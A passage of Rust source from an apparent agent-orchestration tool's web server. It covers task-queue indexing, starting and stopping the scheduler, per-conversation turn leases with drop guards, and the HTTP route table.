922            monitor: Arc::new(SharedMonitor::new()),
923        }
924    }
925
926    /// Refresh metadata on every lookup, including external-process writes. Only
927    /// changed records are parsed. Never publish a partial scan as an empty set.
928    fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
929        let mut index = self
930            .monitor
931            .queue_index
932            .lock()
933            .unwrap_or_else(PoisonError::into_inner);
934        let entries = match std::fs::read_dir(self.queue.root()) {
935            Ok(entries) => entries,
936            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
937                index.records.clear();
938                return Ok(Vec::new());
939            }
940            Err(e) => return Err(anyhow::Error::from(e).into()),
941        };
942        let mut seen = HashSet::new();
943        for entry in entries {
944            let path = entry.map_err(anyhow::Error::from)?.path();
945            if path.extension().is_none_or(|ext| ext != "json") {
946                continue;
947            }
948            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
949                continue;
950            };
951            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
952            seen.insert(id.to_owned());
953            // On platforms without inode/ctime, re-read rather than trust a
954            // same-size replacement with a preserved modification timestamp.
955            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
956                let Ok(task) = self.queue.get(id) else {
957                    // Isolate an unreadable record, as Queue::list does. Keep
958                    // its last known relationship so a lookup of THAT task
959                    // still fails on the authoritative read below. Never let
960                    // unrelated corruption disable every run and conversation.
961                    // Counts must not present its previous status as current.
962                    if let Some((_, record)) = index.records.get_mut(id) {
963                        Arc::make_mut(record).status = None;
964                    }
965                    continue;
966                };
967                #[cfg(test)]
968                {
969                    index.reparsed += 1;
970                }
971                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
972                    return Err(ApiError::conflict("Queue changed during read; retry"));
973                }
974                index
975                    .records
976                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
977            }
978        }
979        index.records.retain(|id, _| seen.contains(id));
980        let mut tasks: Vec<_> = index
981            .records
982            .values()
983            .map(|(_, task)| task.clone())
984            .collect();
985        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
986        Ok(tasks)
987    }
988
989    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
990        let Some(record) = self
991            .indexed_tasks()?
992            .into_iter()
993            .find(|task| task.runs.iter().any(|id| id == run_id))
994        else {
995            return Ok(None);
996        };
997        let task = self.queue.get(&record.id)?;
998        if !task.runs.iter().any(|id| id == run_id) {
999            return Err(ApiError::conflict("Task relationship changed; retry"));
1000        }
1001        Ok(Some(task))
1002    }
1003
1004    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
1005        self.indexed_tasks()?
1006            .into_iter()
1007            .filter(|task| {
1008                task.chat.as_deref() == Some(talk_id)
1009                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1010            })
1011            .map(|record| {
1012                let task = self.queue.get(&record.id)?;
1013                if task.chat.as_deref() != Some(talk_id)
1014                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1015                {
1016                    return Err(ApiError::conflict("Task relationship changed; retry"));
1017                }
1018                Ok(task)
1019            })
1020            .collect()
1021    }
1022
1023    /// The operator's own state: `<home>/queue`, `<home>/questions`,
1024    /// `<home>/talks`, `<home>/runs`.
1025    pub fn open(repo: PathBuf) -> Self {
1026        Self::new(
1027            Queue::open(),
1028            Questions::open(),
1029            Talks::open(),
1030            run::runs_root(),
1031            run::home(),
1032            repo,
1033        )
1034    }
1035
1036    /// The merge mode the loop should use, as the command line gave it.
1037    ///
1038    /// A builder step rather than a seventh parameter on [`Ui::new`], because
1039    /// the override is a property of how this process was invoked and not of
1040    /// where its state lives - which is all the tests that build a `Ui` by
1041    /// hand are saying.
1042    #[must_use]
1043    pub fn with_merge(mut self, merge: Option<String>) -> Self {
1044        self.merge = merge;
1045        self
1046    }
1047
1048    /// The machine-config file the settings screen writes, when it is not
1049    /// [`Config::machine_layer`] (tests).
1050    #[cfg(test)]
1051    #[must_use]
1052    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1053        self.machine_config = path;
1054        self
1055    }
1056
1057    /// Where the runs' worktrees live, when it is not the default.
1058    ///
1059    /// The health view sizes this directory, so a test that leaves it at the
1060    /// default would be measuring the operator's own machine.
1061    #[must_use]
1062    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1063        self.worktrees_root = root;
1064        self
1065    }
1066
1067    /// Point the loop at something other than [`launch_daemon`].
1068    ///
1069    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
1070    /// this crate may start the real loop.
1071    #[cfg(test)]
1072    #[must_use]
1073    fn with_launch(mut self, launch: Launch) -> Self {
1074        self.launch = launch;
1075        self
1076    }
1077
1078    /// Install a [`BusyQueueGate`] for the next pass through the busy
1079    /// branch's queued-draft write, replacing any earlier one.
1080    ///
1081    /// A setter on `&self` rather than a `with_*` builder consumed once,
1082    /// because a test that drives the busy branch more than once (as
1083    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
1084    /// to build confidence the interleaving is handled deterministically and
1085    /// not just on a lucky run) needs a fresh channel pair each time, on the
1086    /// one `Ui` it already built its temp directories around.
1087    #[cfg(test)]
1088    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1089        *self
1090            .busy_queue_gate
1091            .lock()
1092            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1093    }
1094
1095    /// Prevent a restart from ending an already accepted send between its
1096    /// durable transcript write and detached worker reservation.
1097    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1098        let guard = Arc::clone(&self.admissions)
1099            .try_read_owned()
1100            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1101        if *guard {
1102            return Err(ApiError::conflict(
1103                "web restart in progress; retry this message",
1104            ));
1105        }
1106        Ok(guard)
1107    }
1108
1109    /// Start a scheduler that outlives this web process.
1110    async fn start_detached_loop(&self) -> ApiResult<()> {
1111        if self
1112            .upgrade_spawned
1113            .load(std::sync::atomic::Ordering::SeqCst)
1114        {
1115            return Err(ApiError::conflict("an upgrade is in progress"));
1116        }
1117        let reading = daemon::read_status(&self.home);
1118        if let Some(other) = Foreign::of(reading.as_ref()) {
1119            return Err(ApiError::conflict(format!(
1120                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1121                other.who()
1122            )));
1123        }
1124        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1125        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1126        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1127            || reading.is_some_and(|reading| {
1128                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1129            });
1130        if control.is_some() && scheduler_running {
1131            return Err(ApiError::conflict(
1132                "the scheduler is still stopping; retry Start after it has stopped",
1133            ));
1134        }
1135        if !jobs.iter().any(|job| job.kind == "scheduler") {
1136            let available =
1137                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1138            if available.is_none() {
1139                return Err(ApiError::conflict(
1140                    "the scheduler is still running or stopping; retry after its transition completes",
1141                ));
1142            }
1143            drop(available);
1144        }
1145        let opts = daemon::Opts {
1146            repo: self.repo.clone(),
1147            merge: self.merge.clone(),
1148            worktrees_root: Some(self.worktrees_root.clone()),
1149            ..daemon::Opts::default()
1150        };
1151        daemon::spawn_detached(&self.home, &opts)
1152            .await
1153            .map_err(ApiError::from)?;
1154        let mut state = self.lock_loop();
1155        state.last_error = None;
1156        state.rev += 1;
1157        Ok(())
1158    }
1159
1160    /// Start the loop in this process, or say who already has one.
1161    ///
1162    /// `foreign` is passed in rather than read here so that one request makes
1163    /// one judgement about who owns the loop: reading the status file again
1164    /// inside this function could refuse a start for a daemon the same
1165    /// response then reports as gone.
1166    #[cfg(test)]
1167    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1168        if let Some(other) = foreign {
1169            return Err(ApiError::conflict(format!(
1170                "{} is already running the loop, so this one will not start a \
1171                 second: two loops on one queue race for the same claims and \
1172                 burn the agent quota twice over. Stop it where it was \
1173                 started.",
1174                other.who()
1175            )));
1176        }
1177        let mut state = self.lock_loop();
1178        if self
1179            .upgrade_spawned
1180            .load(std::sync::atomic::Ordering::SeqCst)
1181        {
1182            return Err(ApiError::conflict("an upgrade is in progress"));
1183        }
1184        if state.live.as_ref().is_some_and(Live::alive) {
1185            return Err(ApiError::conflict(format!(
1186                "this magi web process (pid {}) is already running the loop",
1187                std::process::id()
1188            )));
1189        }
1190
1191        let stop = daemon::Stop::new();
1192        // The CLI's own defaults for everything the UI has no opinion about:
1193        // one poll interval and one retry budget, so a loop started from a
1194        // phone behaves exactly like the `magi serve` it replaces.
1195        let opts = daemon::Opts {
1196            repo: self.repo.clone(),
1197            merge: self.merge.clone(),
1198            // Whatever this `Ui` already reports worktree sizes and folds
1199            // against (see `with_worktrees_root`) is what the loop it starts
1200            // must reclaim orphaned worktrees under too - two different
1201            // opinions about where the worktree bay is would leave the
1202            // janitor pass reclaiming a directory nothing else on this
1203            // process is even looking at.
1204            worktrees_root: Some(self.worktrees_root.clone()),
1205            ..daemon::Opts::default()
1206        };
1207        let launch = self.launch;
1208        let looping = Arc::clone(&self.looping);
1209        let handle = tokio::spawn({
1210            let opts = opts.clone();
1211            let stop = stop.clone();
1212            async move {
1213                let failure = match launch(opts, stop).await {
1214                    Ok(()) => None,
1215                    Err(e) => Some(format!("{e:#}")),
1216                };
1217                match &failure {
1218                    Some(why) => tracing::error!("the loop stopped: {why}"),
1219                    None => tracing::info!("the loop stopped"),
1220                }
1221                // Recorded by the task itself rather than reaped by whichever
1222                // request happens next, so `loop_rev` moves the moment the
1223                // loop ends and a phone with the change stream open learns
1224                // that it did. Clearing `live` drops this task's own handle,
1225                // which only detaches it, and is the last thing it does.
1226                let mut state = lock_or_recover(&looping);
1227                state.live = None;
1228                state.last_error = failure;
1229                state.rev += 1;
1230            }
1231        });
1232        tracing::info!(
1233            "the loop is now running in this process: repo {}, merge {}",
1234            opts.repo.display(),
1235            opts.merge.as_deref().unwrap_or("as the config says")
1236        );
1237        state.live = Some(Live { stop, handle, opts });
1238        // A fresh start is not the place to keep showing why the last one
1239        // died; the operator has read it and pressed the button anyway.
1240        state.last_error = None;
1241        state.rev += 1;
1242        Ok(())
1243    }
1244
1245    /// Ask the loop to stop, without waiting for it to get there.
1246    ///
1247    /// Idempotent: a second tap on stop is not an error, because the first one
1248    /// leaves the loop running for as long as the run in flight takes and the
1249    /// operator has no way to tell a slow stop from a lost one.
1250    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1251        if let Some(other) = foreign {
1252            return Err(ApiError::conflict(format!(
1253                "the loop belongs to {}, and this process cannot stop it - \
1254                 stop it where it was started. A button that silently did \
1255                 nothing would be worse than this refusal.",
1256                other.who()
1257            )));
1258        }
1259        #[cfg(not(test))]
1260        {
1261            daemon::request_control(
1262                &self.home,
1263                if park {
1264                    crate::worker::Control::Park
1265                } else {
1266                    crate::worker::Control::Stop
1267                },
1268            )
1269            .map_err(ApiError::from)?;
1270            self.lock_loop().rev += 1;
1271            Ok(())
1272        }
1273        #[cfg(test)]
1274        {
1275            let mut state = self.lock_loop();
1276            let Some(live) = state.live.as_ref() else {
1277                return Ok(());
1278            };
1279            // A park upgrades a stop that has already been asked for: the
1280            // operator who tapped "stop" and then realised the run has an hour
1281            // left must not have to restart the loop to change their mind.
1282            if live.stop.stopped() && (!park || live.stop.parking()) {
1283                return Ok(());
1284            }
1285            if park {
1286                live.stop.park(crate::run::ParkCause::Operator);
1287                tracing::info!(
1288                    "the loop was asked to park; the run stops at its next node boundary"
1289                );
1290            } else {
1291                live.stop.stop();
1292                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1293            }
1294            state.rev += 1;
1295            Ok(())
1296        }
1297    }
1298
1299    /// The loop as both `/api/loop` and `/api/health` report it.
1300    ///
1301    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1302    /// health answers with this view *and* the daemon object beside it: one
1303    /// read per response is what stops a single answer naming a foreign owner
1304    /// in one field and calling the loop free in the other.
1305    #[cfg(not(test))]
1306    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1307        let jobs = crate::worker::active(&self.home).map_err(|error| {
1308            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1309        })?;
1310        Ok(self.runtime_loop_view(reading, &jobs))
1311    }
1312
1313    #[cfg(test)]
1314    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1315        let state = self.lock_loop();
1316        // A loop that panicked never recorded its own end, so the handle -
1317        // not the presence of the record - is what "running" means.
1318        let live = state.live.as_ref().filter(|live| live.alive());
1319        LoopView {
1320            running: live.is_some(),
1321            stopping: live.is_some_and(|live| live.stop.finishing()),
1322            parking: live.is_some_and(|live| live.stop.parking()),
1323            owned: live.is_some(),
1324            repo: live
1325                .map_or(&self.repo, |live| &live.opts.repo)
1326                .display()
1327                .to_string(),
1328            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1329            last_error: state.last_error.clone(),
1330            daemon: DaemonView::of(reading),
1331        }
1332    }
1333
1334    /// Reuse one active-job snapshot for both ownership and public health.
1335    fn runtime_loop_view(
1336        &self,
1337        reading: Option<daemon::Reading>,
1338        jobs: &[crate::worker::Job],
1339    ) -> LoopView {
1340        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1341        let reporting = reading
1342            .as_ref()
1343            .is_some_and(|r| r.running(Timestamp::now()));
1344        let managed = scheduler.is_some()
1345            || (reporting
1346                && reading
1347                    .as_ref()
1348                    .is_some_and(|r| r.worker_protocol == Some(1)));
1349        let control = crate::worker::control(&self.home, "scheduler")
1350            .ok()
1351            .flatten();
1352        // Foreground serve also persists its options, so ownership never
1353        // causes us to substitute the web process's repository for its own.
1354        let persisted = if managed && scheduler.is_none() {
1355            std::fs::read(self.home.join("scheduler-options.json"))
1356                .ok()
1357                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1358        } else {
1359            None
1360        };
1361        let repo = scheduler
1362            .and_then(|job| job.payload.get("repo"))
1363            .and_then(serde_json::Value::as_str)
1364            .map(str::to_owned)
1365            .or_else(|| {
1366                persisted
1367                    .as_ref()
1368                    .map(|opts| opts.repo.display().to_string())
1369            })
1370            .unwrap_or_else(|| self.repo.display().to_string());
1371        let merge = match scheduler {
1372            Some(job) => job
1373                .payload
1374                .get("merge")
1375                .and_then(serde_json::Value::as_str)
1376                .map(str::to_owned),
1377            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1378        };
1379        LoopView {
1380            running: managed || reporting,
1381            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1382            parking: matches!(control, Some(crate::worker::Control::Park))
1383                && jobs.iter().any(|job| job.kind == "task"),
1384            owned: managed,
1385            repo,
1386            merge,
1387            last_error: self.lock_loop().last_error.clone(),
1388            daemon: DaemonView::of(reading),
1389        }
1390    }
1391
1392    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1393    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1394        lock_or_recover(&self.looping)
1395    }
1396
1397    /// In-flight admission, detached startup, or a cross-process turn lease.
1398    fn is_thinking(&self, id: &str) -> bool {
1399        self.talk_turns
1400            .lock()
1401            .is_ok_and(|turns| turns.live.contains(id))
1402            // Another process (the CLI) can hold the turn through the
1403            // on-disk lease.
1404            || self.talks.turn_held(id)
1405            || crate::chat_worker::turn_worker_active(&self.talks, id)
1406    }
1407
1408    /// 表示専用の観測。ローカルの受付処理やワーカーストアの書き込みを待たない。
1409    /// 送信などの判断には [`Ui::is_thinking`] を使う。
1410    fn is_thinking_observed(&self, id: &str) -> bool {
1411        self.talk_turns.try_lock().map_or_else(
1412            // Admission may itself be waiting on the worker store. Display a
1413            // conservative busy state rather than waiting behind that writer.
1414            |error| matches!(error, std::sync::TryLockError::WouldBlock),
1415            |turns| turns.live.contains(id),
1416        )
1417            // Another process (the CLI) can hold the turn through the
1418            // on-disk lease.
1419            || self.talks.turn_held(id)
1420            || crate::consult::turn_worker_observed(&self.talks, id)
1421    }
1422
1423    /// Claim the right to run one turn in a talk, or report that it is busy.
1424    ///
1425    /// A talk is strictly turn-based: the agent is resumed with the
1426    /// conversation it already has, so two turns running at once would resume
1427    /// the same session twice and append their answers in whatever order the
1428    /// two CLIs finished in. The operator would come back to a transcript
1429    /// with two half-turns interleaved, which is unreadable and, worse,
1430    /// unfixable - there is no undo for a persisted turn.
1431    ///
1432    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1433    /// starting a second CLI invocation for the same session.
1434    ///
1435    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1436    /// taken to test-and-insert and released before the agent is spawned. The
1437    /// returned guard removes the id on drop, which is what makes a panicking
1438    /// handler or a phone that walks out of range leave the talk usable - axum
1439    /// drops the handler future when the client disconnects, and without the
1440    /// guard that talk would be wedged until the server restarted.
1441    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1442        self.claim_talk_turn(id, false)
1443    }
1444
1445    /// Claim a turn after durably queueing a draft, or notify its current
1446    /// owner that a drainer must recheck before it releases the slot.
1447    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1448        self.claim_talk_turn(id, true)
1449    }
1450
1451    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1452        let mut live = self
1453            .talk_turns
1454            .lock()
1455            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1456        if crate::chat_worker::turn_worker_active(&self.talks, id) {
1457            if queued {
1458                *live.queued.entry(id.to_owned()).or_default() += 1;
1459            }
1460            return Ok(None);
1461        }
1462        let inserted = live.live.insert(id.to_owned());
1463        // The on-disk lease is the cross-process half of the gate. Taken
1464        // second, and undone if lost, so `live` never claims a turn the lease
1465        // refused.
1466        let lease = if inserted {
1467            match self.talks.claim_turn(id) {
1468                Ok(Some(lease)) => Some(lease),
1469                Ok(None) => {
1470                    live.live.remove(id);
1471                    None
1472                }
1473                Err(e) => {
1474                    live.live.remove(id);
1475                    return Err(ApiError::from(e));
1476                }
1477            }
1478        } else {
1479            None
1480        };
1481        if lease.is_none() {
1482            if queued {
1483                // A queued write has landed before this busy check.
1484                // `drain_loop` uses this generation to recheck after its
1485                // off-thread disk read, so it cannot release a turn between
1486                // this check and the write.
1487                *live.queued.entry(id.to_owned()).or_default() += 1;
1488            }
1489            return Ok(None);
1490        }
1491        Ok(Some(TalkTurnGuard {
1492            talk: id.to_owned(),
1493            turns: Arc::clone(&self.talk_turns),
1494            released: false,
1495            lease,
1496        }))
1497    }
1498
1499    /// Decide whether a free talk may start a new immediate turn while its
1500    /// claim lock is held. A persisted draft without an owner is recovery
1501    /// state, not a busy turn: two simultaneous `/say` requests must both
1502    /// leave it untouched rather than one of them appending to it.
1503    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1504        let mut live = self
1505            .talk_turns
1506            .lock()
1507            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1508        // A detached worker owns its turn across web process replacement.
1509        if live.live.contains(id) || crate::chat_worker::turn_worker_active(&self.talks, id) {
1510            return Ok(TalkTurnStart::Busy);
1511        }
1512        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1513            return Ok(TalkTurnStart::Foreign);
1514        };
1515        // A refused `Pending` below drops the lease again.
1516        let talk = self.talks.get(id).map_err(ApiError::from)?;
1517        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1518            return Ok(TalkTurnStart::Pending);
1519        }
1520        live.live.insert(id.to_owned());
1521        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1522            talk: id.to_owned(),
1523            turns: Arc::clone(&self.talk_turns),
1524            released: false,
1525            lease: Some(lease),
1526        }))
1527    }
1528
1529    fn queued_generation(&self, id: &str) -> u64 {
1530        let live = self
1531            .talk_turns
1532            .lock()
1533            .unwrap_or_else(PoisonError::into_inner);
1534        live.queued.get(id).copied().unwrap_or(0)
1535    }
1536
1537    /// Claim a run for a resume, on the same reasoning as
1538    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1539    /// disconnected phone does not wedge the run until the server restarts.
1540    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1541        let mut live = self
1542            .resuming
1543            .lock()
1544            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1545        if self
1546            .upgrade_spawned
1547            .load(std::sync::atomic::Ordering::SeqCst)
1548        {
1549            return Err(ApiError::conflict("an upgrade is in progress"));
1550        }
1551        if !live.insert(id.to_owned()) {
1552            return Err(ApiError::conflict(format!(
1553                "run {id} is already being resumed"
1554            )));
1555        }
1556        Ok(ResumeGuard {
1557            run: id.to_owned(),
1558            resuming: Arc::clone(&self.resuming),
1559        })
1560    }
1561
1562    /// The router, with this state baked in.
1563    ///
1564    /// The three front-end files get one explicit route each rather than a
1565    /// path parameter, so there is no traversal surface to get wrong: the set
1566    /// of servable paths is the set written here. The asset route below is the
1567    /// one exception and the only place in this server where a client names a
1568    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1569    pub fn router(self) -> Router {
1570        Arc::new(self).shared_router()
1571    }
1572
1573    fn shared_router(self: Arc<Self>) -> Router {
1574        Router::new()
1575            .route("/", get(index))
1576            .route("/app.css", get(app_css))
1577            .route("/app.js", get(app_js))
1578            .route("/api/health", get(health))
1579            .route("/api/references", post(id_links::resolve_text))
1580            .route("/api/loop", get(loop_get).post(loop_post))
1581            .route("/api/upgrade", post(upgrade_post))
1582            .route("/api/runs", get(runs_list))
1583            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1584            .route("/api/runs/{id}/progress", get(run_progress))
1585            .route("/api/runs/{id}/core", get(run_core))
1586            .route("/api/runs/{id}/report", get(run_report))
1587            .route("/api/runs/{id}/report.json", get(run_report_json))
1588            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1589            .route("/api/runs/{id}/seat-evidence", get(run_seat_evidence))
1590            .route("/api/runs/{id}/seat-evidence/{head}", get(run_seat_diff))
1591            .route("/api/runs/{id}/fold", post(run_fold))
1592            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1593            .route("/api/runs/{id}/resume", post(run_resume))
1594            .route("/api/queue", get(queue_list))
1595            .route("/api/queue/page", get(queue_page))
1596            .route("/api/search", get(search_get))
1597            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1598            .route("/api/queue/{id}/core", get(task_core))
1599            .route("/api/stats", get(stats_get))
1600            .route("/api/stats/queue", get(stats_queue))
1601            .route("/api/repos", get(repos_list))
1602            .route("/api/settings", get(settings_get))
1603            .route("/api/settings/roles", put(settings_put_roles))
1604            .route("/api/queue/{id}/hold", post(queue_hold))
1605            .route("/api/queue/{id}/reassign", post(queue_reassign))
1606            .route("/api/queue/{id}/release", post(queue_release))
1607            .route("/api/queue/{id}/priority", post(queue_priority))
1608            .route("/api/queue/{id}/urgent", post(queue_urgent))
1609            .route("/api/queue/{id}/implementers", post(queue_implementers))
1610            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1611            .route("/api/queue/{id}/edit", post(queue_edit))
1612            .route("/api/queue/{id}/done", post(queue_done))
1613            .route("/api/decisions", get(decisions_list))
1614            .route("/api/decisions/{id}", get(decision_get))
1615            .route("/api/questions", get(questions_list))
1616            .route("/api/questions/core", get(questions_core))
1617            .route("/api/questions/origins", get(question_origins))
1618            .route("/api/questions/{id}/answer", post(question_answer))
1619            .route("/api/questions/{id}/say", post(question_say))
1620            .route("/api/questions/{id}/consult", post(question_consult))
1621            .route("/api/questions/{id}/panel", get(question_panel))
1622            // The same asset, reachable from inside the panel by its bare
1623            // filename. A document served at `.../panel` resolves `shot.png`
1624            // to `.../shot.png`, which is not the asset route, so a panel
1625            // written the way its author was told to write it showed broken
1626            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1627            // it - deliberately - so the fix is that the panel's own URL ends
1628            // in a filename and its siblings are the assets.
1629            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1630            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1631            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1632            .route("/api/notifications", get(notifications_list))
1633            .route("/api/notifications/read-all", post(notifications_read_all))
1634            .route("/api/notifications/{id}/read", post(notification_read))
1635            .route(
1636                "/api/notifications/{id}/dismiss",
1637                post(notification_dismiss),
1638            )
1639            .route("/api/talks", get(talks_list).post(talk_post))
1640            .route("/api/talks/page", get(talks_page))
1641            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1642            .route("/api/talks/{id}/core", get(talk_core))
1643            .route("/api/talks/{id}/sections", get(talk_sections))
1644            .route("/api/talks/{id}/say", post(talk_say))
1645            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1646            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1647            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1648            .route("/api/talks/{id}/agent", post(talk_agent))
1649            .route("/api/talks/{id}/persona", post(talk_persona))
1650            .route("/api/talks/{id}/implementers", post(talk_implementers))
1651            .route("/api/talks/{id}/close", post(talk_close))
1652            .route("/api/talks/{id}/reopen", post(talk_reopen))
1653            // `DefaultBodyLimit` is raised only on this one route - every
1654            // other route on this server answers in a few kilobytes, and
1655            // widening the crate-wide default for all of them just because
1656            // one accepts a picture would let any other handler be handed
1657            // a multi-megabyte body it never expects.
1658            .route(
1659                "/api/talks/{id}/attachments",
1660                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1661            )
1662            .route(
1663                "/api/talks/{id}/attachments/{att}",
1664                get(talk_attachment_get),
1665            )
1666            .route("/api/talks/{id}/avatar", get(talk_avatar))
1667            .route("/avatars/operator.svg", get(operator_avatar))
1668            .route(
1669                "/api/avatar-settings",
1670                get(avatar_settings_get)
1671                    .put(avatar_settings_put)
1672                    .delete(avatar_settings_delete),
1673            )
1674            .route("/avatars/persona", get(settings_persona_avatar))
1675            .route("/avatars/magi", get(magi_avatar))
1676            .route(
1677                "/api/magi-icon",
1678                get(magi_icon_get)
1679                    .put(magi_icon_put)
1680                    .delete(magi_icon_delete),
1681            )
1682            .route("/api/events", get(events))
1683            .with_state(self)
1684    }
1685}
1686
1687/// One talk's turn slot, released on drop.
1688///
1689/// A guard rather than a matching `remove` at the end of the handler, because
1690/// the handler has several early returns and one `await` that can be cancelled
1691/// out from under it. A leaked id is a talk nobody can talk to again.
1692#[derive(Debug)]
1693struct TalkTurnGuard {
1694    talk: String,
1695    turns: Arc<Mutex<TalkTurns>>,
1696    released: bool,
1697    /// The cross-process half of the slot; dropped with the guard.
1698    lease: Option<crate::talk::TurnLease>,
1699}
1700
1701/// In-memory turn ownership plus the queue generation observed by a drainer.
1702///
1703/// The generation changes only after a durable queued draft is written and its
1704/// caller finds the turn busy. That lets the loop run filesystem work outside
1705/// this mutex while still making the final empty-check/release atomic with a
1706/// concurrent queue handoff.
1707#[derive(Debug, Default)]
1708struct TalkTurns {
1709    live: HashSet<String>,
1710    queued: HashMap<String, u64>,
1711}
1712
1713/// The atomic initial-state decision made by
1714/// [`Ui::begin_talk_turn_unless_pending`].
1715enum TalkTurnStart {
1716    Claimed(TalkTurnGuard),
1717    Busy,
1718    /// Another process holds the turn lease. Unlike `Busy` there is no local
1719    /// drain loop that would answer a queued draft, so the caller refuses.
1720    Foreign,
1721    Pending,
1722}
1723
1724impl TalkTurnGuard {
1725    #[cfg(test)]
1726    /// Does this guard still own the on-disk lease? A transient failure to
1727    /// check counts as owning: the next beat decides. A guard that lost it
1728    /// must not start another turn on the same session.
1729    fn owns(&self) -> bool {
1730        self.lease
1731            .as_ref()
1732            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1733    }
1734
1735    #[cfg(test)]
1736    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1737    /// than the lease's TTL still reads as held to other processes.
1738    async fn respond(
1739        &self,
1740        talk: &mut Talk,
1741        talks: &Talks,
1742        cfg: &Config,
1743        text: &str,
1744    ) -> anyhow::Result<()> {
1745        let lease = self
1746            .lease
1747            .as_ref()
1748            .context("the turn guard no longer holds its lease")?;
1749        talk::respond(lease, talk, talks, cfg, text).await
1750    }
1751
1752    /// Release while the caller already holds the claim mutex, closing the
1753    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1754    fn release(mut self, live: &mut TalkTurns) {
1755        // The on-disk lease goes first: while `live` still names the talk, no
1756        // local claim can start, so nobody observes the slot free but the
1757        // lease held.
1758        self.lease = None;
1759        live.live.remove(&self.talk);
1760        live.queued.remove(&self.talk);
1761        self.released = true;
1762    }
1763}
1764
1765impl Drop for TalkTurnGuard {
1766    fn drop(&mut self) {
1767        if self.released {
1768            return;
1769        }
1770        // Lease first, then the in-process slot (see `release`).
1771        drop(self.lease.take());
1772        if let Ok(mut live) = self.turns.lock() {
1773            live.live.remove(&self.talk);
1774            live.queued.remove(&self.talk);
1775        }
1776    }
1777}
1778
1779/// Releases a resume claim, so a run is resumable again after the attempt.
1780struct ResumeGuard {
1781    run: String,
1782    resuming: Arc<Mutex<HashSet<String>>>,
1783}
1784
1785impl Drop for ResumeGuard {
1786    fn drop(&mut self) {
1787        if let Ok(mut live) = self.resuming.lock() {
1788            live.remove(&self.run);
1789        }
1790    }
1791}
1792
1793/// Bind the port, waiting briefly for a predecessor to let go of it.
1794///
1795/// A restart hands the address from one process to the next, and the old one
1796/// holds its listener until it unwinds. A single `bind` can lose that race,
